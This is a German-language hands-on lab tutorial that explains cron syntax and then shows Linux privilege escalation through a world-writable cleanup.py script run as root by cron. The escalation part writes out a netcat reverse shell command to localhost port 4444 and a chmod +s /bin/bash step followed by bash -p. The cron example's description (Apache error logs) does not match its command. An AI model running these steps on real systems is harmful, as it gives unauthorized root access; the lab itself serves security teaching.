Cron Jobs und Privilege Escalation in Nmap lernen

Einführung

In diesem Lab werden wir uns mit Cron Jobs und der Cron-Syntax vertraut machen. Durch praktische Übungen werden Sie schnell die Verwendung von crontab beherrschen. Darüber hinaus werden wir verstehen, wie man fehlerhafte crontab-Konfigurationen nutzen kann, um auf Linux die Benutzerrechte zu erhöhen.

Grundlagen von Cron Jobs und Cron-Syntax

In diesem Schritt werden wir Cron Jobs und die Cron-Syntax einführen.

Cron Jobs sind "geplante Aufgaben" (scheduled tasks) im Linux-System und werden üblicherweise verwendet, um Befehle zu planen, die in regelmäßigen Abständen ausgeführt werden müssen, wie z. B. regelmäßige Datensicherungen oder das Leeren des Caches. Sie werden Cron Jobs genannt, weil sie das cron-Tool (crontab) nutzen.

Cron Jobs gehören zu den am häufigsten von Systemadministratoren verwendeten Tools und sind an sich ausgezeichnete Hilfsmittel. Wenn jedoch "geplante Aufgaben" so eingerichtet sind, dass sie mit höheren Benutzerrechten (z. B. als root-Benutzer) ausgeführt werden, können Angreifer diese möglicherweise ausnutzen, um ihre Benutzerrechte zu erhöhen.

Das crontab-Kommando verwendet die folgende Syntax:

*    *    *    *    *   [ user ] File/Command
-    -    -    -    -
|    |    |    |    |
|    |    |    |    +----- Wochentag (0 - 7) (0 = Sonntag)
|    |    |    +---------- Monat (1 - 12)
|    |    +--------------- Tag des Monats (1 - 31)
|    +-------------------- Stunde (0 - 23)
+------------------------- Minute (0 - 59)

Das user-Feld ist optional. Wenn es nicht angegeben wird, wird der Befehl oder das Skript mit den Rechten des aktuellen Benutzers ausgeführt.

Beachten Sie, dass nur der root-Benutzer angeben kann, dass Befehle oder Skripte mit den Rechten anderer Benutzer ausgeführt werden.

Beispielsweise können wir, wenn wir die Apache-Fehlerprotokolle (error log) jede Stunde ausgeben möchten, die folgende Anweisung verwenden:

0 * * * * echo /var/log/lastlog

Da Stunde, Tag, Monat und Woche alle auf * gesetzt sind, wird die geplante Aufgabe einmal ausgeführt, wenn die Minute auf 0 steht, also jede Stunde.

Was ist, wenn wir einen Befehl alle zwei Stunden um die 15. Minute ausführen müssen? Wir können eine einfache Änderung vornehmen:

15 */2 * * * echo /var/log/lastlog

Um die Verwendung von cron zu verstehen, gehen wir ein Beispiel durch.

Öffnen Sie das Terminal und navigieren Sie in das Verzeichnis /home/labex/project. Führen Sie dann den folgenden Befehl aus, um die Lab-Umgebung zu initialisieren:
```
./env_setup1.sh
```
Nach erfolgreicher Initialisierung werden Sie im Home-Verzeichnis des labex-Benutzers die Datei cleanup.py und das Verzeichnis trashDirectory sehen. Das trashDirectory-Verzeichnis enthält zwei Dateien: error.log und readme.txt.

Unser Lab-Ziel lautet wie folgt: Verwenden Sie crontab, um eine geplante Aufgabe hinzuzufügen, die das cleanup.py-Skript alle 1 Minute aufruft, um alle Daten im Verzeichnis /home/labex/project/trashDirectory zu löschen. Das cleanup.py-Skript ruft einfach den rm-Systembefehl über die os.system()-Funktion auf, um das Verzeichnis /home/labex/project/trashDirectory zu leeren.
Fügen Sie als Nächstes mit dem folgenden Befehl eine geplante Aufgabe in die crontab hinzu:
```
echo "* * * * * root python /home/labex/project/cleanup.py" | sudo tee -a /etc/crontab > /dev/null
```
Der obige Befehl fügt eine geplante Aufgabe zur crontab-Datei hinzu. Die Aufgabe wird jede Minute ausgeführt, und das cleanup.py-Skript wird mit root-Rechten ausgeführt.
Da der cron-Dienst auf unserem Lab-Rechner standardmäßig deaktiviert ist, müssen wir ihn manuell mit dem folgenden Befehl starten:
```
sudo service cron start
```
Erwartete Ausgabe:
```
* Starting periodic command scheduler cron
```
Nach etwa einer Minute, wenn wir in das Verzeichnis /home/labex/project/trashDirectory wechseln und den ls-Befehl verwenden, werden wir sehen, dass die Daten im Verzeichnis gelöscht wurden, was bedeutet, dass der Cron Job korrekt ausgeführt wird.

Überschreiben von Crontab-Skripten zur Ausführung einer Reverse Shell

In diesem Schritt werden wir lernen, wie man die Benutzerrechte erhöht, indem man Skripte überschreibt, die von crontab aufgerufen werden.

Öffnen Sie zunächst das Terminal und navigieren Sie in das Verzeichnis /home/labex/project. Führen Sie dann den folgenden Befehl aus, um die Lab-Umgebung zu initialisieren:
```
cd /home/labex/project
```
Führen Sie das Skript aus, um die Lab-Umgebung zu initialisieren:
```
./env_setup2.sh
```
Nach erfolgreicher Initialisierung verwenden Sie den folgenden Befehl, um die geplanten Aufgaben (scheduled tasks) auf dem Host anzuzeigen:
```
cat /etc/crontab
```
Eine der geplanten Aufgaben am Ende der Datei hat unsere Aufmerksamkeit erregt: jede Minute führt das System ein /home/labex/project/cleanup.py-Skript als root aus, die gleiche Datei, die wir im vorherigen Schritt verwendet haben.
Prüfen wir als Nächstes die Berechtigungen des Skripts:
```
ls -al /home/labex/project/cleanup.py
```
Wir bemerken, dass die Dateiberechtigungen von cleanup.py riskant gesetzt sind: auch andere Benutzer haben Schreibberechtigung (w), was bedeutet, dass wir den Inhalt von cleanup.py bearbeiten und ändern können!
Da cleanup.py mit root-Rechten ausgeführt wird, können wir eine Reverse Shell mit root-Rechten nutzen.

Verwenden Sie nc.traditional, um eine Reverse Shell an den lokalen Port 4444 zu leiten, indem Sie das cleanup.py-Skript ändern:
```
...
os.system("nc.traditional 127.0.0.1 4444 -e /bin/bash")
...
```
Speichern Sie die Datei, und die Änderungen werden nach einer Minute wirksam.

Der Grund, warum wir nc.traditional verwenden, ist, dass der Standard-nc-Befehl die -e-Option nicht unterstützt.
Führen Sie dann den folgenden Befehl aus, um auf dem lokalen Port 4444 zu lauschen:
```
nc -lnvp 4444
```
Erwartete Ausgabe:
```
Listening on 0.0.0.0 4444
```
Nach einer kurzen Wartezeit erhalten wir erfolgreich eine Reverse Shell mit root-Rechten.
```
Connection received on 127.0.0.1 45480
```
Versuchen Sie, den whoami-Befehl auszuführen, um den aktuellen Benutzer zu überprüfen:
```
whoami
root
```

Überschreiben von Crontab-Skripten, um Bash SUID zu geben

Erinnern Sie sich noch an die SUID-Berechtigungseskalation, die wir früher besprochen haben? Wir können auch das cleanup.py-Skript nutzen, um die Berechtigungen bestimmter ausführbarer Dateien so zu ändern, dass das Setuid-Bit (SUID) gesetzt wird. Dadurch können wir diese Dateien für eine SUID-Berechtigungseskalation nutzen, beispielsweise indem wir das Setuid-Bit für bash setzen.

Nach dem letzten Schritt befinden Sie sich möglicherweise noch in der root-Shell. Für diesen Schritt müssen Sie sich aus der root-Shell abmelden und erneut als labex-Benutzer anmelden, indem Sie den folgenden Befehl ausführen:

exit

Oder Sie können ein neues Terminal öffnen und sich als labex-Benutzer anmelden.

Führen Sie dann den folgenden Befehl aus, um in das Verzeichnis /home/labex/project zu navigieren:

cd /home/labex/project

Derzeit hat /bin/bash das Setuid-Bit nicht gesetzt:
```
ls -l /bin/bash
```
Ändern Sie ähnlich wie im vorherigen Schritt den Befehl, der von dem cleanup.py-Skript ausgeführt wird, in den folgenden Befehl:
```
...
os.system("chmod +s /bin/bash")
...
```
Nach einer Weile, wenn wir /bin/bash überprüfen, werden wir feststellen, dass es jetzt das Setuid-Bit gesetzt hat, was bedeutet, dass die geplante Aufgabe erfolgreich ausgeführt wurde:
```
ls -l /bin/bash
```
Erwartete Ausgabe:
```
-rwsr-sr-x 1 root root 1396520 Jan 7 2022 /bin/bash
```
Wie oben gezeigt, können wir jetzt bash -p verwenden, um root-Berechtigungen zu erhalten.
```
labex:project/ $ bash -p
bash-5.1## whoami
root
```
Erstellen Sie eine Datei namens success.txt im Verzeichnis /root, um anzuzeigen, dass Sie die Berechtigungen erfolgreich erhöht haben:
```
echo "Congratulations! You have successfully escalated privileges to root." > /root/success.txt
```

Zusammenfassung

In diesem Lab haben wir uns mit Cron Jobs und der Cron-Syntax vertraut gemacht und die Verwendung von crontab durch praktische Übungen beherrscht. Schließlich haben wir eine fehlerhafte crontab-Konfiguration ausgenutzt, um unsere Shell erfolgreich auf root-Berechtigungen zu erhöhen.